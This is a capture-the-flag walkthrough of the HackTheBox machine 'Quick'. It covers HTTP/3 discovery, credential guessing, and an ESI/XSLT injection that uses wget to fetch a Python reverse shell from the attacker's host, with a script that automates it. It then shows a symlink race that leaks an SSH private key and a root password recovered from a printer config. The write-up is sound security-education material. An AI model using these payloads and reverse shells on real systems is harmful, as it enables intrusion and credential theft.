HackTheBox - Quick

— Written by — 20 min read
quick-hackthebox

Another week, another box retired on HackTheBox: Quick!
This box was awesome and, I will say it again, this is my new favorite box. It was made by MrR3boot and was really well designed, exploiting a lot a real life scenario and requiring you to take your time to understand what was going on and how to progress step-by-step. While a bit long to solve (at least for me) I highly recommend you to give a try on this “Quick” box.

Tl;Dr: The user flag was accessible after multiple steps. First you had to access a portal website available only through HTTP3 protocol, a not so easy task since most common tools don’t support it yet. From this portal you coud access documentation with a generic password to access clients account. Using the name, the company and the country of one of the client (displayed on a testimonial page) it was possible to guess a valid client email address and use the generic password to access a Support page. From this support page it was possible to exploit an ESI (Edge Side Includes) Injection to achieve remote code execution as sam user and grab the user flag from there.
For the root flag you first had to pivot from the sam user to srvadm user. To do so you had to exploit a weakness in a printing web app mechanism; this allows to exfiltrate srvadm SSH key and connect to its account. From srvadm a cached config file leak the root account password, letting you connect to it to grab the flag.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[hg8@archbook ~]$ echo "10.10.10.186 quick.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
[hg8@archbook ~]$ nmap -sV -sT -sC quick.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-04 17:25 CEST
Nmap scan report for quick.htb (10.10.10.186)
Host is up (0.11s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
9001/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have a classical web app, running on port 9001 this time, and the SSH port 22 open.

Opening http://quick.htb:9001 display a following page:

quick homepage

The Get Started button lead to login page. Since we do not have any credentials yet, let’s skip it for now.
The update message seems interesting:

Update!

We are migrating our portal with latest TLS and HTTP support. To read more about our services, please navigate to our portal

You might experience some connectivity issues during portal access which we are aware of and working on designing client application to provide better experience for our users. Till then you can avail our services from Mobile App

The portal links to a new subdomain: https://portal.quick.htb/. Let’s add it to our hosts file:

1
[hg8@archbook ~]$ echo "10.10.10.186 portal.quick.htb" >> /etc/hosts

And see what’s on there:

1
2
[hg8@archbook ~]$ curl https://portal.quick.htb
curl: (7) Failed to connect to portal.quick.htb port 443: Connection refused

Connexion refused? Well that’s odd and disappointing. Thinking about it it’s not that odd since nmap didn’t show any 443 port open. Then what ?
This sentence mades us think a little:

We are migrating our portal with latest TLS and HTTP support.

As far as I know the latest TLS version is 1.3 and out since 2018, so nothing to brag about. But on HTTP side, a new version have recently been proposed by the IETF (Internet Engineering Task Force): Hypertext Transfer Protocol Version 3 (HTTP/3).

Reading the wikipedia page of HTTP/3 we can notice a very interesting information for us:

HTTP/3 is the upcoming third major version of the Hypertext Transfer Protocol used to exchange information on the World Wide Web, succeeding HTTP/2.

HTTP/3 is a draft based on a previous RFC draft, then named “Hypertext Transfer Protocol (HTTP) over QUIC”. QUIC is a transport layer network protocol developed initially by Google where user space congestion control is used over the User Datagram Protocol (UDP).

[…]

Although its name was initially proposed as the acronym for “Quick UDP Internet Connections”, IETF’s use of the word QUIC is not an acronym; it is simply the name of the protocol.

Among other applications, QUIC improves performance of connection-oriented web applications that are currently using TCP.

HTPP/3 - Wikipedia

Two interesting informations here:

  1. “QUIC” protocol sounds awfully like our “Quick” box name.
  2. “QUIC is a transport layer network protocol […] used over the User Datagram Protocol (UDP).”

So when using HTTP/3, the packets are sent over UDP and not the traditional TCP.

The nmap scan we always do at the beginning do not check for UDP ports (-sU option) for the sake of scan speed. That’s the reason we didn’t see any 443 TCP port open, because it’s probably 443 UDP.

HTTP3 -> portal.quick.htb

To check if our scenario is correct let’s make a connection to https://portal.quick.htb but using HTTP/3 this time:

1
2
3
4
[hg8@archbook ~]$ man curl | grep -A 2 http3
--http3
Tells curl to use HTTP version 3 directly to the host and port number
used in the URL.
1
2
3
[hg8@archbook ~]$ curl --http3 https://portadl.quick.htb
curl: option --http3: the installed libcurl version doesn't support this
curl: try 'curl --help' for more information

Bummer, the default version of libcurl do not support http3. We are going to need to compile our own libcurl with http3 support.

I will use the Quiche version as shown in curl documentation.
Tips: If you are using Arch based distribution, an AUR package is available: curl-http3.

Once we have our curl version with http3 support, let’s retry our request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[hg8@archbook ~]$ curl3 --http3 https://portal.quick.htb

<html>
<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
<head>
</head>
<body>
<p> Welcome to Quick User Portal</p>
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="index.php?view=contact">Contact</a></li>
<li><a href="index.php?view=about">About</a></li>
<li><a href="index.php?view=docs">References</a></li>
</ul>
</html>

Bingo! We have a few pages available from this small portal website. The index.php?view=docs contains PDF documentations:

1
2
3
4
5
6
7
8
9
10
11
12
13
[hg8@archbook ~]$ curl3 --http3 "https://portal.quick.htb/index.php?view=docs"
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">

<h1>Quick | References</h1>
<ul>
<li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
<li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
</ul>
</head>
</html>

Connectivity.pdf looks especially interesting, let’s download it:

1
[hg8@archbook ~]$ curl3 --http3 "https://portal.quick.htb/docs/Connectivity.pdf" -o Connectivity.pdf

Open Connectivity.pdf displays the following documentation:

quick connectivity documentation

This gives us a valuable information. It’s possible for clients to connect to their router using their email address and Quick4cc3$$ as password. Seems that once connected, clients can access WiFi configuration and access a support ticket system.

Client credentials

Let’s go back to the home page at http://quick.htb:9001. We have a few informations about clients, their company and their country. Unfortunately no email address available. We may need to guess one client email address.

One testimonial catch the attention because of the mention to “WiFi”. This user surely use the router service as presented in the Connectivity.pdf documentation right ?

I never regret using Quick services. Super fast wifi and no issues.
–By Elisa (Wink Media)

The http://quick.htb:9001/clients.php page informs us that the Wink company is based in UK:

quick client page

So we have a client name (Elisa), her company (Wink Media) and her country (UK). From those informations we should be able to create a little custom email wordlist, something like:

Elisa looks like the perfect target since we know for sure she used the WiFi service as described in the documentation. But if her account does not work we might need to make email wordlist like this for other clients aswell.

So let’s go back to the login page and try to login using our credentials list. We could script it but since we only have a few possibilities so far, let’s try by hand. Let’s try [email protected]:Quick4cc3$$:

quick login page elisa

And success! We are logged in as Elisa and have access to a support ticketing system:

quick ticket

From this panel it’s possible to create support ticket and to view them. After checking the ticket system is not vulnerable to SQL Injection.

It is vulnerable to XSS injection:

quick xss

Script gets executed when the ticket is loaded:

quick xss alert

While it’s cool I am pretty sure this won’t be useful to progress. Let’s continue our investigation.

Looking back at our initial recon we notice an unusual server being used: X-Powered-By: Esigate.
According to its website:

Esigate is a http proxy, with full support of ESI specification and additional features to make web application integration fast and easy.
http://www.esigate.org/

Since I didn’t know about ESI specification I checked online. W3C describe it this way:

Edge Side Includes (ESI) is an XML-based markup language that provides a means to assemble resources in HTTP clients. Unlike other in-markup languages, ESI is designed to leverage client tools like caches to improve end-user perceived performance, reduce processing overhead on the origin server, and enhanced availability. ESI allows for dynamic content assembly at the edge of the network, whether it is in a Content Delivery Network, end-user’s browser, or in a “Reverse Proxy” right next to the origin server.

https://www.w3.org/TR/esi-lang/

While checking online for more informations about ESI, Google return an interesting result: “ESI Injection: Abusing specific implementations“.

Some vendors implemented the possibility to include XML content that is transformed using XML Stylesheet Language Transformations. Only one occurrence was found vulnerable. We are presenting the exploit scenario affecting ESIGate version lower than 5.3.

That’s sound exactly like our scenario. Let’s give it a try on the only page we can input data in, the ticket system.

ESI Injection to remote code execution

First let’s create two files on our machine, dummy.xml and rce.xsl, and open a web server to serve those two files. Just as a test to make sure our injection worked, let’s leave our two files empty. If our server receive connexion we can confirm our injection worked.

1
2
3
4
[hg8@archbook ~]$ ls 
dummy.xml rce.xsl
[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Let’s fill a new ticket with the following payload as described on the vulnerability page:

1
2
3
<esi:include src="http://10.10.10.10:8000/dummy.xml"
stylesheet="http://10.10.10.10:8000/rce.xsl?">
</esi:include>

quick ticket esi injection

The ticket is created under TKT-3426. Opening it make the server crash, that’s a good sign…

quick server crash

A better sign is that the app indeed made a call to our two files:

1
2
3
4
$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.186 - - [08/May/2020 16:13:43] "GET /dummy.xml HTTP/1.1" 200 -
10.10.10.186 - - [08/May/2020 16:13:43] "GET /rce.xsl HTTP/1.1" 200 -

So we got the confirmation our ESI injection succeed. Let’s now try to edit the payload in rce.xls to download a python reserve shell that we can run later:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="hg8"><![CDATA[wget 10.10.10.10:8000/hg8.py -O /tmp/hg8.py]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $hg8)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$hg8"/>
</root>
</xsl:template>
</xsl:stylesheet>

Then let’s open a new ticket so our new xls file get executed:

quick esi injection reverse shell

Our server confirms that the file got downloaded successfully:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[hg8@archbook ~]$ cat hg8.py
#!/usr/bin/env python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.10",8585));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.186 - - [08/May/2020 16:20:10] "GET /rce.xsl HTTP/1.1" 200 -
10.10.10.186 - - [08/May/2020 16:20:11] "GET /dummy.xml HTTP/1.1" 200 -
10.10.10.186 - - [08/May/2020 16:20:11] "GET /hg8.py HTTP/1.1" 200 -

Let’s now do one last injection by replacing our payload to launch the reverse shell we just downloaded to the server:

1
<xsl:variable name="hg8"><![CDATA[python /tmp/hg8.py]]>

We open our nc listener:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585

Create one last ticket with our new payload and we get an incoming connection:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.186:50914
$ ls
esigate-distribution-5.2
nc
user.txt
$ cat user.txt
cxxxxxxxxxxxxxxxxxxxx8

Automating ESI injection to RCE

Since I had a lot of issue to create ticket and inject payload (machine reset, caching system, etc…). I had to write the following script in order to ease the process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from random import randrange

s = requests.Session()

login = s.post("http://quick.htb:9001/login.php",
data={'email': '[email protected]', 'password': 'Quick4cc3$$'})

cache_version = randrange(1000000000)

ticket_data = {
'title': 'hg8',
'msg': 'hg8',
'id': '<esi:include src="http://10.10.10.10:8000/dummy.xml?a={0}" stylesheet="http://10.10.10.10:8000/rce.xsl?a={0}"></esi:include>'.format(cache_version),
}

ticket = s.post("http://quick.htb:9001/ticket.php", data=ticket_data, allow_redirects=False)

Note: Including the payload in the id field removed the need to load the ticket in order to have the payload to execute.

Root Flag

Recon

The first step to make a proper recon is to upgrade our shell to a fully interactive one. To do so I will add my SSH key to the authorized_keys of sam user:

1
2
3
4
5
6
7
$ echo "ssh-rsa AAxxx [email protected]" >> ~/.ssh/authorized_keys
$ exit
[hg8@archbook ~]$ ssh -i id_rsa_htb [email protected]
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

Last login: Tue May 5 09:24:47 2020 from 10.10.14.5
sam@quick:~$

With this proper shell we can start looking around. A common thing to check is the /var/www/html folder, maybe we can find the database access of the Quick web app and find other accounts credentials. Let’s take a look:

1
2
3
4
sam@quick:/$ cat /var/www/html/db.php
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>

Bingo, we got the database credentials. Let’s connect to see if we can find additional informations:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
sam@quick:/var/www/html$ mysql -u db_adm -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.

mysql> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| quick |
| sys |
+--------------------+
5 rows in set (0.00 sec)

mysql> USE quick
Database changed

mysql> SHOW TABLES;
+-----------------+
| Tables_in_quick |
+-----------------+
| jobs |
| tickets |
| users |
+-----------------+
3 rows in set (0.00 sec)

mysql> SELECT * FROM users;
+--------------+------------------+----------------------------------+
| name | email | password |
+--------------+------------------+----------------------------------+
| Elisa | [email protected] | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | [email protected] | e626d51f8fbfd1124fdea88396c35d05 |
+--------------+------------------+----------------------------------+
2 rows in set (0.00 sec)

We got a new account Server Admin and its password which looks like a MD5.
But something is odd. We have Elisa password but its MD5 hash doesn’t correspond to the one in the database:

1
2
[hg8@archbook ~]$ echo "Quick4cc3$$" | md5sum
81dfe07dcdcf072cf553e37497f188f5 -

Looking through the source code we got the confirmation that the password is hashed but not with a simple MD5:

1
2
3
4
sam@quick:/$ cat /var/www/html/login.php
$email=$_POST["email"];
$password = $_POST["password"];
$password = md5(crypt($password,'fa'));

In addition, while looking at the current app source code we notice two other folder /var/www/ folder:

1
2
3
4
5
sam@quick:/$ ls -l /var/www/
total 12
drwxr-xr-x 2 root root 4096 Mar 20 03:48 html
drwxrwxrwx 2 root root 4096 Mar 21 03:11 jobs
drwxr-xr-x 6 root root 4096 Mar 21 03:08 printer

While the jobs folder is empty, the printer function contains another web application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sam@quick:/$ ls -l /var/www/printer/
total 60
-rw-r--r-- 1 root root 8709 Mar 19 05:04 add_printer.php
drwxr-xr-x 2 root root 4096 Mar 18 13:34 css
-rw-r--r-- 1 root root 69 Mar 18 13:22 db.php
drwxr-xr-x 4 root root 4096 Mar 20 02:31 escpos-php
-rw-r--r-- 1 root root 1150 Mar 18 13:34 favicon.ico
drwxr-xr-x 2 root root 4096 Mar 18 13:34 fonts
-rw-r--r-- 1 root root 2591 Mar 19 05:30 home.php
drwxr-xr-x 2 root root 4096 Mar 19 05:30 images
-rw-r--r-- 1 root root 3348 Mar 20 05:33 index.php
-rw-r--r-- 1 root root 6392 Mar 21 03:08 job.php
-rw-r--r-- 1 root root 5380 Mar 19 05:04 printers.php
sam@quick:/$ cat /var/www/printer/db.php
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>

Since this printer app share the same database we can guess that the user Server Admim is used to connect to this app. Let’s know take a quick look at the Apache configuration file to see where the printer app is served.

1
2
3
4
5
6
7
sam@quick:/$ cat /etc/apache2/sites-enabled/000-default.conf
[...]
<VirtualHost *:80>
AssignUserId srvadm srvadm
ServerName printerv2.quick.htb
DocumentRoot /var/www/printer
</VirtualHost>

We get two pieces of valuable information here:

  1. The app is accessible at http://printerv2.quick.htb
  2. The Apache process for this app is running as srvadm.

This AssignUserId is very interesting, because if we can find a remote code execution exploit in the printer app, we can obtain a shell as srvadm. Let’s add it to our host file and dig into this printer app to see if it’s possible.

1
[hg8@archbook ~]$ echo "10.10.10.186 printerv2.quick.htb" >> /etc/hosts

Pivot sam -> srvadm

Opening http://printerv2.quick.htb:9001 display the following login page:

quick printer login

We are stuck here, we don’t have the password for [email protected] and the credentials of [email protected] doesn’t seems to work. Maybe we could try to write a script to brute force the [email protected] using the fa salt ?

Well first let’s check this login page source code to see if we can find an hint before jumping to the brute force method.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
$email=$_POST["email"];
$password = $_POST["password"];
$password = md5(crypt($password,'fa'));
$stmt=$conn->prepare("select email,password from users where email=? and password=?");
$stmt->bind_param("ss",$email,$password);
$stmt->execute();
$result = $stmt->get_result();
$num_rows = $result->num_rows;
if($num_rows > 0 && $email === "[email protected]")
{
session_start();
$_SESSION["loggedin"]=$email;
header("location: home.php");
}
else
{
echo '<script>alert("Invalid Credentials");window.location.href="/index.php";</script>';
}
}
else
{?>

Few interesting informations to notice here, first:

1
if($num_rows > 0 && $email === "[email protected]")

This explains why we couldn’t login as [email protected]. But wait a second…. If $num_rows > 0 is the only check made to see if user credentials are correct we could perfectly use our MySQL access to create a second account with email [email protected] and our own password right ? Let’s give it a try:

First we generate our MD5 password using the fa salt:

1
2
3
4
5
sam@quick:/$ php -a
Interactive mode enabled

php > echo md5(crypt("hg8quickpassword",'fa'));
489000625cdbf4bcda48a8bf0381197a

Then add our new account using our MySQL access:

1
2
3
4
5
6
7
8
9
sam@quick:/$ mysql -u db_adm -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.

mysql> USE quick
Database changed

mysql> INSERT INTO users VALUES ("hg8", "[email protected]", "489000625cdbf4bcda48a8bf0381197a");
Query OK, 1 row affected (0.00 sec)

We can now try to connect using our newly made credentials:

quick printer login

Without surprise (given the name of the app) we arrive to a printer management interface. The homepage propose two options:

  • Add printer
  • List printers

Since there is no printers available, let’s add our own one. I am going to open a nc listener to see if the app is sending request to the networked “printer” we are about to configure:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585

Let’s put our listener IP and port on the printer config page:

quick printer add

Once the printer added, it gets listed in /printers page:

quick list printers

From there we can launch a “Test print”. Let’s do that:

Printer is up. Please add a job

Our nc listener got a connection and got closed:

1
2
3
4
5
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.186:49180
Total received bytes: 0
Total sent bytes: 0

Let’s re-open it and head to /job.php to print a test page:

quick printer test print

When clicking on “Print” our nc listener receive the content of “Bill Details”:

1
2
3
4
5
6
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.186:49222
This is a test.VA
Total received bytes: 20
Total sent bytes: 0

What exactly happened here? Luckily we have access to the code source of the app, so we can check how the job.php works and maybe a way to exploit it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
[...]
$title=$_POST["title"];
$file = date("Y-m-d_H:i:s");
file_put_contents("/var/www/jobs/".$file,$_POST["desc"]);
chmod("/var/www/printer/jobs/".$file,"0777");
$stmt=$conn->prepare("select ip,port from jobs");
$stmt->execute();
$result=$stmt->get_result();
if($result->num_rows > 0)
{
[...]
try
{
$connector = new NetworkPrintConnector($ip,$port);
sleep(0.5); //Buffer for socket check
$printer = new Printer($connector);
$printer -> text(file_get_contents("/var/www/jobs/".$file));
$printer -> cut();
$printer -> close();
$message="Job assigned";
unlink("/var/www/jobs/".$file);
}
[..]
?>

Reading through the code we understand that our page test input gets written to file in the /var/www/jobs/ folder. Then:

  1. The job get added to database,
  2. A network print connector is initialized,
  3. The file get read from /var/www/jobs/
  4. The file content get send to the printer (our nc listener.)

That’s a lot of steps between the moment the file is written to disk and the moment its read to be send to the printer. This sounds like a perfect scenario for a race condition.

Knowing that the Apache process for the printer app is running as srvadm we could potentially exploit this race condition to read any files owned by srvadm. The first that comes to mind is srvadm SSH key.

One way we could exploit the race condition to read srvadm SSH key is to replace the file to be printed by a symlink to /home/srvadm/.ssh/id_rsa just before it gets read and send to our nc listener.

Let’s make a quick script to achieve this:

1
2
3
4
5
6
7
8
9
cd /var/www/jobs;
while true;
do
for file in $(ls .);
do
rm $file;
ln -s /home/srvadm/.ssh/id_rsa $file;
done
done

The script monitor the /var/www/jobs directory and for each new file created, this one will be deleted and replaced by a symlink to srvadm SSH key.

This way when the printer app arrive to this statement : $printer -> text(file_get_contents("/var/www/jobs/".$file));, it will read the SSH key and send it to our listener.

Let’s give it a try!

First we open our nc listener (our fake printer):

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585

Then we launch our script on the box:

1
sam@quick:/$ bash /tmp/.hg8/race.sh

And finally we create a random new job on the printer app interface:

quick printer test print

If everything goes fine our listener receive the SSH key:

1
2
3
4
5
6
7
8
9
10
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.186:54026
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAutSlpZLFoQfbaRT7O8rP8LsjE84QJPeWQJji6MF0S/RGCd4P
[...]
NJx1AkN7Gr9v4WjccrSk1hitPE1w6cmBNStwaQWD+KUUEeWYUAx20RA=
-----END RSA PRIVATE KEY-----
VATotal received bytes: 1685
Total sent bytes: 0

We can now use this key to connect to srvadm account:

1
2
3
4
5
6
[hg8@archbook ~]$ ssh -i id_rsa_srvadm [email protected]
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

Last login: Fri Mar 20 05:56:02 2020 from 172.16.118.129
srvadm@quick:~$ ls
srvadm@quick:~$

Cached configuration

At first glance srvadm doesn’t hold any valuable informations nor tools. No SUID binary, no sudo entries, no misconfiguration… Then what ?

Let’s manually review its home folder.

1
2
3
4
5
6
7
8
9
10
11
12
srvadm@quick:~$ ls -la
total 36
drwxr-xr-x 6 srvadm srvadm 4096 Mar 20 06:37 .
drwxr-xr-x 4 root root 4096 Mar 20 02:16 ..
lrwxrwxrwx 1 srvadm srvadm 9 Mar 20 02:38 .bash_history -> /dev/null
-rw-r--r-- 1 srvadm srvadm 220 Mar 20 02:16 .bash_logout
-rw-r--r-- 1 srvadm srvadm 3771 Mar 20 02:16 .bashrc
drwx------ 5 srvadm srvadm 4096 Mar 20 06:20 .cache
drwx------ 3 srvadm srvadm 4096 Mar 20 02:38 .gnupg
drwxrwxr-x 3 srvadm srvadm 4096 Mar 20 06:37 .local
-rw-r--r-- 1 srvadm srvadm 807 Mar 20 02:16 .profile
drwx------ 2 srvadm srvadm 4096 Mar 20 02:38 .ssh

The .cache/ folder might hold valuable cached informations. While looking around in the cached configuration file we find something interesting: another file in relation with printers in ~/.cache/conf.d/printers.conf.

Inside we find a odd string:

1
2
3
4
srvadm@quick:~$ cat .cache/conf.d/printers.conf
# Printer configuration file for CUPS v2.3.0
[...]
DeviceURI https://srvadm%40quick.htb:%26ftQ4K3SGde8%[email protected]/printer

URLDecoding it returns:

1
https://[email protected]:&[email protected]/printer

Could &ftQ4K3SGde8? be the root account password?

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

Last login: Mon Apr 20 08:01:18 2020
root@quick:~# ls
docker-compose.yml fullchain.pem nginx.conf portal privkey.pem root.txt
root@quick:~# cat root.txt
7xxxxxxxxxxxxxxxxxxxxxxxxxx7

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxHard Box
, , , , , , ,